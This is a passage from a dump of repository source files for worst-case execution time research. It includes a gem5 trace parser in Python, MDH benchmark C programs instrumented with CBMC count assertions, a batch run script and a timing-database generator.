self.__entryToCFG[nextID]\n self.__currentLNT = self._program.getLNT(self.__currentCFG.getName())\n self.__currentPathg = self._program.getPathInfoGraph(self.__currentCFG.getName())\n self.__predBB = None\n self.__currentBB = self.__currentCFG.getVertex(self.__currentCFG.getEntryID())\n \nclass Gem5Parser (TraceInformation):\n def __init__ (self, program, traceFiles):\n debug.verbose_message(\"Parsing gem5 traces\", __name__)\n TraceInformation.__init__(self, program)\n self.__initialise()\n self.__parse(traceFiles)\n self._end()\n self._normaliseData()\n self._outputConjectures()\n self._outputCBMCConjectures()\n \n def __initialise (self):\n self.__currentContextv = None\n self.__currentCFG = None\n self.__currentLNT = None\n self.__predBB = None\n self.__currentBB = None\n self.__currentHeaderID = None\n self.__currentPathg = None\n self.__time1 = None\n self.__stack = []\n self.__contextg = self._program.getContextGraph()\n rootv = self.__contextg.getVertex(self.__contextg.getRootID())\n self.__rootCFG = self._program.getCFG(rootv.getName())\n self.__firstAddr = self.__rootCFG.getFirstInstruction().getAddress()\n lastbb = self.__rootCFG.getVertex(self.__rootCFG.getExitID())\n for instruction in reversed(lastbb.getInstructions()):\n if instruction.getOp() not in arm.armInstructionSet.Nops:\n self.__lastAddr = instruction.getAddress()\n break\n assert self.__lastAddr, \"Unable to find last address\"\n debug.debug_message(\"Start address of root function '%s' is %s\" % (rootv.getName(), hex(self.__firstAddr)), 1) \n debug.debug_message(\"End address of root function '%s' is %s\" % (rootv.getName(), hex(self.__lastAddr)), 1)\n \n def __parse (self, traceFiles):\n runID = 0\n for filename in traceFiles:\n parsing = False \n with gzip.open(filename, 'r') as f:\n runID += 1\n self._allruns.add(runID)\n debug.debug_message(\"Analysing gem5 trace file '%s'\" % filename, 1)\n for line in f:\n lexemes = shlex.split(line)\n PCLexeme = lexemes[-1]\n assert len(PCLexeme) == 11, \"Unable to parse program counter %s\" % PCLexeme\n try:\n time = int(lexemes[0][:-1])\n PCLexeme = PCLexeme[5:]\n PC = int(PCLexeme, 16)\n if PC == self.__firstAddr:\n self.__time1 = time\n startTime = time\n parsing = True\n self.__currentContextv = self.__contextg.getVertex(self.__contextg.getRootID())\n self.__currentCFG = self._program.getCFG(self.__currentContextv.getName())\n self.__currentLNT = self._program.getLNT(self.__currentContextv.getName())\n self.__currentPathg = self._program.getPathInfoGraph(self.__currentContextv.getName())\n self.__predBB = None\n self.__currentBB = self.__currentCFG.getVertex(self.__currentCFG.getEntryID())\n self._analyseCFGVertex(self.__currentPathg, self.__currentLNT, self.__currentBB.vertexID) \n if parsing:\n self.__parseAddress (time, PC, runID)\n if PC == self.__lastAddr:\n # Stop parsing\n parsing = False\n # Compute the HWMT\n totalTime = time - startTime\n self._longestTime = max(self._longestTime, totalTime)\n # Falsify conjectures\n self._endOfFunction(self.__currentCFG, self.__currentLNT, self.__currentPathg)\n except ValueError:\n debug.exit_message(\"Cannot cast %s into an integer: it is not a hexadecimal string\" % PCLexeme)\n\n def __getCFGWithAddress (self, address):\n for cfg in self._program.getcfgs():\n firstAddress = cfg.getFirstInstruction().getAddress()\n if firstAddress == address:\n return cfg\n assert False, \"Unable to find CFG with start address %s\" % hex(address)\n \n def __analyseWCETOfBasicBlock (self, executionTime):\n tupleKey = (self.__currentCFG.getName(), self.__currentBB.getOriginalVertexID())\n assert tupleKey in self._executionTimes\n self._executionTimes[tupleKey] = max(self._executionTimes[tupleKey], executionTime) \n \n def __parseAddress (self, time, address, runID):\n if address == self.__lastAddr:\n self.__analyseWCETOfBasicBlock(time - self.__time1)\n if not self.__currentBB.hasAddress(address):\n # Instructions in the current basic block have finished. Analyse its execution time\n self.__analyseWCETOfBasicBlock(time - self.__time1)\n # Move the time marker forward to the current time to reflect that we are transitioning\n # to a new basic block\n self.__time1 = time\n # Make the switch to the next basic block\n if self.__currentCFG.isCallSite(self.__currentBB.vertexID):\n self.__handleCall(address)\n elif self.__currentCFG.getExitID() == self.__currentBB.vertexID:\n self.__handleReturn()\n # Since we have switched basic blocks in the current CFG, analyse the super blocks\n self._analyseCFGEdge(self.__currentPathg, self.__currentLNT, self.__predBB.vertexID, self.__currentBB.vertexID) \n else:\n for succID in self.__currentBB.getSuccessorIDs():\n succv = self.__currentCFG.getVertex(succID)\n if succv.hasAddress(address):\n self.__predBB = self.__currentBB\n self.__currentBB = succv\n break\n # Since we have switched basic blocks in the current CFG, analyse the super blocks\n self._analyseCFGEdge(self.__currentPathg, self.__currentLNT, self.__predBB.vertexID, self.__currentBB.vertexID) \n debug.debug_message(\"Now in CFG '%s' at basic block %d\" % (self.__currentCFG.getName(), self.__currentBB.vertexID), 10) \n self._analyseCFGVertex(self.__currentPathg, self.__currentLNT, self.__currentBB.vertexID) \n \n def __handleReturn (self):\n if self.__currentCFG.getExitID() == self.__currentBB.vertexID and self.__currentCFG != self.__rootCFG:\n # Falsify conjectures\n self._endOfFunction(self.__currentCFG, self.__currentLNT, self.__currentPathg)\n (self.__currentContextv, self.__currentCFG, self.__currentLNT, self.__predBB, self.__currentBB, self.__currentPathg) = self.__stack.pop()\n succIDs = self.__currentBB.getSuccessorIDs()\n assert len(succIDs) == 1\n succv = self.__currentCFG.getVertex(succIDs[0])\n self.__predBB = self.__currentBB\n self.__currentBB = succv\n \n def __handleCall (self, address):\n callerFrame = (self.__currentContextv, self.__currentCFG, self.__currentLNT, self.__predBB, self.__currentBB, self.__currentPathg)\n self.__stack.append(callerFrame)\n newContextID = self.__currentContextv.getSuccessorWithCallSite(self.__currentBB.vertexID)\n self.__currentContextv = self.__contextg.getVertex(newContextID)\n self.__currentCFG = self.__getCFGWithAddress(address)\n self.__currentLNT = self._program.getLNT(self.__currentCFG.getName())\n self.__predBB = None\n self.__currentBB = self.__currentCFG.getVertex(self.__currentCFG.getEntryID())\n self.__currentPathg = self._program.getPathInfoGraph(self.__currentCFG.getName())\n assert self.__currentBB.hasAddress(address), \"Calling into '%s' because of address %s but basic block does not contain an instruction with that address\" % (self.__currentCFG.getName(), hex(address)) \n \n" }, { "alpha_fraction": 0.5261992812156677, "alphanum_fraction": 0.5431734323501587, "avg_line_length": 15.9375, "blob_id": "e455456a5ece8c3fce5c3a64bb54cb598ba7b5f9", "content_id": "a7c72162987b8b8502d319d150d645d0aee15907", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1355, "license_type": "no_license", "max_line_length": 75, "num_lines": 80, "path": "/benchmarks/bubblesort/bubblesort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Bubble sort taken from MDH suite and modified by Adam Betts to consume a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\n/*\n * Swaps the values if the value pointed to by a is greater than the\n * value pointed to by b and returns 1 if a swap is performed, 0 otherwise\n */\nint\nswapIfLarger (int *a, int *b)\n{\n\tint tmp;\n\tint swapped = 0;\n\tif (*a > *b)\n\t{\t\n\t\ttmp = *a;\n\t\t*a = *b;\n\t\t*b = tmp;\n\t\tswapped = 1;\n\t}\n\treturn swapped;\n}\n\nvoid\nbubblesort (int ARRAY_SIZE, int a[])\n{\n int i, j, tmp;\n int swapped = 0;\n for (i = 0; i < ARRAY_SIZE - 1; i++)\n {\n swapped = 0;\n for (j = 0; j < ARRAY_SIZE - 1 - i; j++)\n {\n if (swapIfLarger(&a[j], &a[j+1]))\n {\n swapped = 1;\n }\n }\n\tif (swapped == 0)\n {\n break;\n }\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n bubblesort (ARRAY_SIZE, TV);\n\n for (i = 0; i < argc - 1; ++i)\n {\n printf(\"%i \", TV[i]);\n }\n printf(\"\\n\");\n\n return 0;\n}\n" }, { "alpha_fraction": 0.460576593875885, "alphanum_fraction": 0.5081625580787659, "avg_line_length": 21.031999588012695, "blob_id": "a65f63407b1de41c400881fa33d167c4e0d3bccf", "content_id": "ec7ec79e2917b5e79009f6990c594dd1faeafba7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2879, "license_type": "no_license", "max_line_length": 82, "num_lines": 125, "path": "/DaikonPathInformation/benchmarks/squareroot.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\n * Square root (Sqrt) program taken from MDH suite and modified by Adam Betts\r\n * to consume a test vector supplied on the command line.\r\n *\r\n * For this program, the test vector is a single element for which the square root\r\n * is computed.\r\n */\r\n\r\nfloat\r\nsquareroot (float val)\r\n{\r\n#ifdef CBMC\r\n//==========> squareroot : header 8\r\nint __count_4_7 = 0;\r\nint __count_5_6 = 0;\r\nint __count_5_7 = 0;\r\nint __count_8_4 = 0; //Loop counter\r\n//==========> squareroot : header 1\r\nint __count_9 = 0;\r\nint __count_2_9 = 0;\r\nint __count_8_9 = 0;\r\n#endif\r\n\r\n float x = val / 10;\r\n float dx;\r\n double diff;\r\n double min_tol = 0.00001;\r\n int i;\r\n int flag = 0;\r\n\r\n if (val == 0)\r\n {\r\n x = 0;\r\n #ifdef CBMC\r\n __count_2_9++;\r\n #endif\r\n }\r\n else\r\n {\r\n #ifdef CBMC\r\n __count_8_4 = 0;\r\n #endif\r\n for (i = 1; i < 20; i++)\r\n {\r\n #ifdef CBMC\r\n __count_8_4++;\r\n #endif\r\n if (!flag)\r\n {\r\n dx = (val - (x * x)) / (2.0 * x);\r\n x = x + dx;\r\n diff = val - (x * x);\r\n if (fabs (diff) <= min_tol) // 5\r\n {\r\n #ifdef CBMC\r\n __count_5_6++;\r\n #endif\r\n flag = 1;\r\n }\r\n #ifdef CBMC\r\n else __count_5_7++;\r\n #endif\r\n }\r\n else\r\n {\r\n #ifdef CBMC\r\n __count_4_7++;\r\n #endif\r\n x = x;\r\n }\r\n }\r\n #ifdef CBMC\r\n assert(__count_8_4 <= 20); // Loop counter property\r\n __count_8_9++;\r\n #endif\r\n }\r\n #ifdef CBMC\r\n __count_9++;\r\n #endif\r\n\r\n#ifdef CBMC\r\n\r\nassert(__count_9 >= 1); // Lower capacity constraint\r\nassert(__count_9 <= 1); // Upper capacity constraint\r\n//assert(__count_2_9 == 0); // Dead code\r\n//assert(__count_4_7 <= 7); // Upper capacity constraint\r\nassert(__count_5_6 <= 1); // Upper capacity constraint\r\n//assert(__count_5_7 >= 11); // Lower capacity constraint\r\nassert(__count_5_7 <= 19); // Upper capacity constraint\r\n//assert(__count_8_9 >= 1); // Lower capacity constraint\r\nassert(__count_8_9 <= 1); // Upper capacity constraint\r\nassert(__count_4_7 > 0 ==> __count_5_6 > 0); // Mutual inclusion\r\nassert(__count_5_6 > 0 ==> __count_4_7 > 0); // Mutual inclusion\r\nassert(__count_4_7 > 0 ==> __count_9 > 0); // Execution dependence\r\n//assert(__count_4_7 > 0 ==> __count_5_7 > 0); // Execution dependence\r\nassert(__count_4_7 > 0 ==> __count_8_9 > 0); // Execution dependence\r\nassert(__count_5_6 > 0 ==> __count_9 > 0); // Execution dependence\r\n//assert(__count_5_6 > 0 ==> __count_5_7 > 0); // Execution dependence\r\nassert(__count_5_6 > 0 ==> __count_8_9 > 0); // Execution dependence\r\n#endif\r\n\r\n return x;\r\n}\r\n\r\nint\r\nmain (int argc, char *argv[])\r\n{\r\n float val;\r\n unsigned int input;\r\n\r\n /*\r\n * One integer must be supplied\r\n */\r\n if (argc != 2)\r\n {\r\n return 1;\r\n }\r\n\r\n input = atoi(argv[1]);\r\n val = squareroot (input);\r\n \r\n printf(\"%f\", val);\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.7134119868278503, "alphanum_fraction": 0.7387505173683167, "avg_line_length": 75.19999694824219, "blob_id": "7e2b3ef57116e6ac2ebdadb198900c5ab448c102", "content_id": "f80cf68905191c6f339320a000d04c2577b2b83d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2289, "license_type": "no_license", "max_line_length": 111, "num_lines": 30, "path": "/DaikonPathInformation/benchmarks/runallO1.bash", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#!/bin/bash\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r select select.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r squareroot squareroot.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r statemate statemate.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r statistics statistics.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r exponential_integral exponential_integral.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r fastDiscreteCosineTransform fastDiscreteCosineTransform.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r fft fft.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r fibonacci fibonacci.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r finiteImpulseResponse finiteImpulseResponse.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r insertsort insertsort.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r janne_complex janne_complex.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r lcdnum lcdnum.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r LUdecomposition LUdecomposition.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r matrix_count matrix_count.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r matrix_inverse matrix_inverse.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r matrixmultiply matrixmultiply.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r mergesort mergesort.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r petri petri.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r prime prime.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r quadraticroots quadraticroots.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r quicksort quicksort.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r binary_search binary_search.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r bubblesort bubblesort.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r compress compress.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r cover cover.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r crc crc.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r edn edn.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r embedded embedded.c\npython ../src/ToolGem5.py --compiler-flags O1 --ga -r adpcm adpcm.c\n\n\n\n" }, { "alpha_fraction": 0.4178794324398041, "alphanum_fraction": 0.439708948135376, "avg_line_length": 13.516129493713379, "blob_id": "b11e6a4c954bdec511461330bb95da64ee6d6c58", "content_id": "d88873f1589551e51fd140cc35bea30d8d88b584", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 962, "license_type": "no_license", "max_line_length": 82, "num_lines": 62, "path": "/benchmarks/sqrt/sqrt.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\n * Square root (Sqrt) program taken from MDH suite and modified by Adam Betts\r\n * to consume a test vector supplied on the command line.\r\n *\r\n * For this program, the test vector is a single element for which the square root\r\n * is computed.\r\n */\r\n\r\nfloat\r\nsqrt (float val)\r\n{\r\n float x = val / 10;\r\n float dx;\r\n double diff;\r\n double min_tol = 0.00001;\r\n int i;\r\n int flag = 0;\r\n\r\n if (val == 0)\r\n {\r\n x = 0;\r\n }\r\n else\r\n {\r\n for (i = 1; i < 20; i++)\r\n {\r\n if (!flag)\r\n {\r\n dx = (val - (x * x)) / (2.0 * x);\r\n x = x + dx;\r\n diff = val - (x * x);\r\n if (fabs (diff) <= min_tol)\r\n {\r\n flag = 1;\r\n }\r\n }\r\n else\r\n {\r\n x = x;\r\n }\r\n }\r\n }\r\n return x;\r\n}\r\n\r\nint\r\nmain (int argc, char *argv[])\r\n{\r\n float val;\r\n\r\n /*\r\n * One integer must be supplied\r\n */\r\n if (argc != 2)\r\n {\r\n return 1;\r\n }\r\n\r\n val = sqrt (atoi (argv[1]));\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.5466123223304749, "alphanum_fraction": 0.5517065525054932, "avg_line_length": 37.87128829956055, "blob_id": "788af5ad38e77fca73551b96695e5adfcea329de", "content_id": "df15996123f073fe60d0c158d8185136ba1e6000", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3926, "license_type": "no_license", "max_line_length": 110, "num_lines": 101, "path": "/tools/database_generator.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import argparse\nimport random\nimport sys\nimport threading\n\nfrom graphs import graph\nfrom system import program, database\nfrom utils import messages\n\n\ndef add_automatic_wcet(db: database.Database, v, maximum_value):\n db.add_wcet(v.program_point, random.randint(0, maximum_value))\n\n\ndef add_automatic_wfreq(db: database.Database, v, lnt, maximum_value):\n if lnt.is_header(v):\n loop = lnt.find_loop(v)\n if lnt.is_outermost_loop(loop):\n db.add_wfreq(v.program_point, 1)\n else:\n db.add_wfreq(v.program_point, random.randint(1, maximum_value))\n\n\ndef main(**kwargs):\n the_program = program.IO.read(kwargs['filename'])\n properties = program.IO.read_properties(kwargs['filename'])\n\n with database.Database(kwargs['database']) as db:\n db.reset()\n for subprogram in the_program:\n messages.debug_message('Creating data for {}'.format(subprogram.name))\n ppg = graph.ProgramPointGraph.create_from_control_flow_graph(subprogram.cfg)\n ppg.dotify()\n lnt = graph.LoopNests(ppg)\n lnt.dotify()\n\n for v in ppg:\n if not kwargs['manual_properties'] or v.program_point not in properties:\n if isinstance(v.program_point, graph.Vertex):\n add_automatic_wcet(db, v, kwargs['max_wcet'])\n else:\n db.add_wcet(v.program_point, 0)\n add_automatic_wfreq(db, v, lnt, kwargs['max_loop_bound'])\n else:\n if properties[v.program_point].wcet is not None:\n db.add_wcet(v.program_point, properties[v.program_point].wcet)\n else:\n add_automatic_wcet(db, v, kwargs['max_wcet'])\n\n if properties[v.program_point].bound is not None:\n db.add_wfreq(v.program_point, properties[v.program_point].bound)\n else:\n add_automatic_wfreq(db, v, lnt, kwargs['max_loop_bound'])\n\n if not kwargs['manual_properties']:\n ppg.choose_instrumentation()\n for v in ppg:\n db.set_instrumentation(v.program_point)\n else:\n for v in ppg:\n if v.program_point in properties:\n if properties[v.program_point].instrumentation:\n db.set_instrumentation(v.program_point)\n\n\ndef parse_the_command_line():\n parser = argparse.ArgumentParser(description='Create a database of values needed in the WCET calculation')\n\n parser.add_argument('--filename',\n help='read the program from this file',\n required=True)\n\n parser.add_argument('--database',\n help='write the data to this file',\n required=True)\n\n parser.add_argument('--max-wcet',\n type=int,\n help='set the maximum possible value for execution times of basic blocks',\n default=20,\n metavar='<INT>')\n\n parser.add_argument('--max-loop-bound',\n type=int,\n help='set the maximum possible value for execution frequency bounds on loop headers',\n default=10,\n metavar='<INT>')\n\n parser.add_argument('--manual-properties',\n action='store_true',\n help='use properties of program points as specified manually in the program file',\n default=False)\n\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n assert sys.version_info >= (3, 0), 'Script requires Python 3.0 or greater to run'\n threading.stack_size(2 ** 6 * 2 ** 20)\n sys.setrecursionlimit(2 ** 20)\n main(**vars(parse_the_command_line()))\n" }, { "alpha_fraction": 0.5086750984191895, "alphanum_fraction": 0.5801787376403809, "avg_line_length": 24.178808212280273, "blob_id": "f1f580281f3596dfce17fbed7f8fb2849b09bc39", "content_id": "351d22867e4c90c675260a061b672f5351f78897", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3804, "license_type": "no_license", "max_line_length": 91, "num_lines": 151, "path": "/DaikonPathInformation/benchmarks/finiteImpulseResponse.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#define TEST_VECTOR_LENGTH 720\n\nlong \nfiniteImpulseResponse (long* in,long* out,long in_len, long* coef,long coef_len,long scale)\n{\n#ifdef CBMC\n//==========> finiteimpulseresponse : header 25\nint __count_25_24 = 0;\nint __count_25_24_L = 0; //Loop counter\n//==========> finiteimpulseresponse : header 33\nint __count_27_28 = 0;\nint __count_29_30 = 0;\nint __count_29_31 = 0;\nint __count_33_23 = 0; //Loop counter\n//==========> finiteimpulseresponse : header 22\nint __count_34 = 0;\nint __count_33_34 = 0;\n#endif\n\n long i,j,coef_len2,acc_length;\n long acc;\n long *in_ptr,*data_ptr,*coef_start,*coef_ptr,*in_end;\n\n /* set up for coefficients */\n coef_start = coef;\n coef_len2 = (coef_len + 1) >> 1;\n\n /* set up input data pointers */\n in_end = in + in_len - 1;\n in_ptr = in + coef_len2 - 1;\n\n /* initial value of accumulation length for startup */\n acc_length = coef_len2;\n\n #ifdef CBMC\n __count_33_23 = 0;\n #endif\n for(i = 0 ; \n i < in_len ; i++) // 33\n {\n #ifdef CBMC\n __count_33_23++;\n #endif\n /* set up pointer for accumulation */\n data_ptr = in_ptr;\n coef_ptr = coef_start;\n\n /* do accumulation and write result with scale factor */\n acc = (long)(*coef_ptr++) * (*data_ptr--);\n\n #ifdef CBMC\n __count_25_24_L = 0;\n #endif\n for(j = 1 ; j < acc_length ; j++) // 25\n {\n #ifdef CBMC\n __count_25_24_L++;\n __count_25_24++;\n #endif\n acc += (long)(*coef_ptr++) * (*data_ptr--);\n }\n #ifdef CBMC\n assert(__count_25_24_L <= 35); // Loop counter property\n #endif\n *out++ = (int)(acc/scale);\n\n /* check for end case */\n if(in_ptr == in_end) // 27\n {\n #ifdef CBMC\n __count_27_28++;\n #endif\n // 28\n acc_length--; /* one shorter each time */\n coef_start++; /* next coefficient each time */\n }\n else \n {\n /* if not at end, then check for startup, add to input pointer */\n if(acc_length < coef_len) // 29\n {\n #ifdef CBMC\n __count_29_30++;\n #endif\n // 30\n acc_length++;\n }\n #ifdef CBMC\n else __count_29_31++;\n #endif\n in_ptr++;\n }\n }\n #ifdef CBMC\n assert(__count_33_23 <= 701); // Loop counter property\n #endif\n \n #ifdef CBMC\n __count_33_34++;\n __count_34++;\n #endif\n\n#ifdef CBMC\nassert(__count_33_34 >= 1); // Lower capacity constraint\nassert(__count_33_34 <= 1); // Upper capacity constraint\nassert(__count_25_24 >= 23494); // Lower capacity constraint\nassert(__count_25_24 <= 23494); // Upper capacity constraint\nassert(__count_27_28 >= 18); // Lower capacity constraint\nassert(__count_27_28 <= 18); // Upper capacity constraint\nassert(__count_34 >= 1); // Lower capacity constraint\nassert(__count_34 <= 1); // Upper capacity constraint\nassert(__count_29_30 >= 17); // Lower capacity constraint\nassert(__count_29_30 <= 17); // Upper capacity constraint\nassert(__count_29_31 >= 665); // Lower capacity constraint\nassert(__count_29_31 <= 665); // Upper capacity constraint\n#endif\n\n return *coef;\n}\n\nint\nmain (int argc, char *argv[])\n{ \n if (argc != TEST_VECTOR_LENGTH + 1)\n {\n return 1;\n }\n \n long in_data[TEST_VECTOR_LENGTH+1];\n int i;\n for (i = 0; i < argc - 1; ++i)\n {\n in_data[i] = (long) atoi (argv[i + 1]);\n }\n // Sentinel value needed\n in_data[TEST_VECTOR_LENGTH] = 0;\n \n long out_data[TEST_VECTOR_LENGTH+1];\n \n long fir_int[36]={\n 0xfffffffe, 0x1, 0x4, 0x3, 0xfffffffe, 0xfffffffc, 0x2, 0x7, 0x0,\n 0xfffffff7, 0xfffffffc, 0xc, 0xb, 0xfffffff2, 0xffffffe6, 0xf, 0x59, 0x7f,\n 0x59, 0xf, 0xffffffe6, 0xfffffff2, 0xb, 0xc, 0xfffffffc, 0xfffffff7, 0x0,\n 0x7, 0x2, 0xfffffffc, 0xfffffffe, 0x3, 0x4, 0x1, 0xfffffffe, 0};\n\n long val = finiteImpulseResponse (in_data, out_data, 700, fir_int, 35, 285); \n \n printf(\"%ld\", val);\n\n return 0;\n}\n\n\n" }, { "alpha_fraction": 0.5169920325279236, "alphanum_fraction": 0.5394070744514465, "avg_line_length": 17.675676345825195, "blob_id": "70664483145fc718c2f873a0d1a0ced6c18cb48e", "content_id": "7a72de62311cf25e17a6ff35d126e43897f4279e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1383, "license_type": "no_license", "max_line_length": 76, "num_lines": 74, "path": "/benchmarks/matrix_mult/matrix_mult.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Matrix multiplication taken from MDH suite and modified by Adam Betts to\n * consume a test vector supplied on the command line.\n *\n * For this program, the test vector consists of 25 integers since there are\n * two 5*5 matrices to be initialised before multiplication.\n */\n\n#define UPPERLIMIT 5\ntypedef int matrix[UPPERLIMIT][UPPERLIMIT];\n\nvoid\nmatrix_mult (matrix A, matrix B, matrix C)\n{\n int i, j, k;\n\n for (i = 0; i < UPPERLIMIT; ++i)\n {\n for (j = 0; j < UPPERLIMIT; ++j)\n {\n C[i][j] = 0;\n for (k = 0; k < UPPERLIMIT; ++k)\n {\n C[i][j] += A[j][k] * B[k][j];\n }\n }\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n int i, j, k;\n matrix A, B, C;\n\n /*\n * There are 2 matrices with 20*20 dimensions that need to be filled up.\n * 800 values need to be passed on the command-line as a consequence.\n */\n if (argc != 26)\n {\n return 1;\n }\n\n /*\n * Initialise matrix A.\n */\n k = 0;\n for (i = 0; i < UPPERLIMIT; ++i)\n {\n for (j = 0; j < UPPERLIMIT; ++j)\n {\n A[i][j] = atoi (argv[k + 1]);\n k++;\n }\n }\n\n /*\n * Initialise matrix B but do NOT reset the value of k as it now refers\n * to the 400th element of the command-line.\n */\n for (i = 0; i < UPPERLIMIT; ++i)\n {\n for (j = 0; j < UPPERLIMIT; ++j)\n {\n B[i][j] = atoi (argv[k + 1]);\n k++;\n }\n }\n\n matrix_mult (A, B, C);\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.4193514883518219, "alphanum_fraction": 0.48503804206848145, "avg_line_length": 21.623151779174805, "blob_id": "14bbcf92aaab949faa0b779fb4e9e6cb828d47b3", "content_id": "68507a7e5cbe64123e2ef968bfbbb02db46b5b07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9591, "license_type": "no_license", "max_line_length": 76, "num_lines": 406, "path": "/DaikonPathInformation/benchmarks/matrix_inverse.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\n * Matrix inversion taken from MDH suite and modified by Adam Betts to\r\n * consume a test vector supplied on the command line.\r\n *\r\n * For this program, the test vector consists of 9 integers since there is\r\n * a single UPPERLIMIT*UPPERLIMIT matrix to be initialised before inversion.\r\n */\r\n\r\n#define UPPERLIMIT 5\r\n\r\ndouble\r\nfabs (double n)\r\n{\r\n if (n >= 0)\r\n return n;\r\n else\r\n return -n;\r\n}\r\n\r\nint\r\nmatrix_inverse (double a[][UPPERLIMIT], int row, int col, double eps)\r\n{\r\n#ifdef CBMC\r\n//==========> matrix_inverse : header 38\r\nint __count_38_37 = 0;\r\nint __count_38_37_L = 0; //Loop counter\r\n//==========> matrix_inverse : header 28\r\nint __count_25_26 = 0;\r\nint __count_25_27 = 0;\r\nint __count_28_25 = 0; //Loop counter\r\n//==========> matrix_inverse : header 35\r\nint __count_38_39 = 0;\r\nint __count_35_36 = 0; //Loop counter\r\n//==========> matrix_inverse : header 17\r\nint __count_17_16 = 0;\r\nint __count_17_16_L = 0; //Loop counter\r\n//==========> matrix_inverse : header 31\r\nint __count_22_30 = 0;\r\nint __count_23_30 = 0;\r\nint __count_28_29 = 0;\r\nint __count_31_22 = 0; //Loop counter\r\n//==========> matrix_inverse : header 20\r\nint __count_20_19 = 0;\r\nint __count_20_19_L = 0; //Loop counter\r\n//==========> matrix_inverse : header 12\r\nint __count_9_10 = 0;\r\nint __count_9_11 = 0;\r\nint __count_12_9 = 0; //Loop counter\r\n//==========> matrix_inverse : header 41\r\nint __count_35_40 = 0;\r\nint __count_41_35 = 0; //Loop counter\r\n//==========> matrix_inverse : header 33\r\nint __count_14_18 = 0;\r\nint __count_17_18 = 0;\r\nint __count_33_8 = 0; //Loop counter\r\n//==========> matrix_inverse : header 6\r\nint __count_6_5 = 0;\r\nint __count_6_5_L = 0; //Loop counter\r\n//==========> matrix_inverse : header 1\r\nint __count_45 = 0;\r\nint __count_1_43 = 0;\r\nint __count_2_43 = 0;\r\nint __count_3_43 = 0;\r\nint __count_13_44 = 0;\r\nint __count_33_34 = 0;\r\n\r\n#endif\r\n\r\n int work[500];\r\n int i;\r\n int j;\r\n int k;\r\n int r;\r\n int iw;\r\n int s;\r\n int t;\r\n int u;\r\n int v;\r\n double w;\r\n double wmax;\r\n double pivot;\r\n double api;\r\n double w1;\r\n double b[UPPERLIMIT][UPPERLIMIT];\r\n double c[UPPERLIMIT][UPPERLIMIT];\r\n double e[UPPERLIMIT][UPPERLIMIT];\r\n\r\n if (row < 2 || row > 500 || eps <= 0.0)\r\n {\r\n #ifdef CBMC\r\n // TODO: check\r\n if (row < 2)\r\n __count_1_43++;\r\n else if (row > 500)\r\n __count_2_43++;\r\n else if (eps <= 0.0)\r\n __count_3_43++;\r\n #endif\r\n #ifdef CBMC\r\n __count_45++;\r\n #endif\r\n return;\r\n }\r\n\r\n w1 = 1.0;\r\n #ifdef CBMC\r\n __count_6_5_L = 0;\r\n #endif\r\n for (i = 0; i < row; i++) // 6\r\n {\r\n #ifdef CBMC\r\n __count_6_5++;\r\n __count_6_5_L++;\r\n #endif\r\n work[i] = i;\r\n }\r\n #ifdef CBMC\r\n assert(__count_6_5_L <= 6); // Loop counter property\r\n 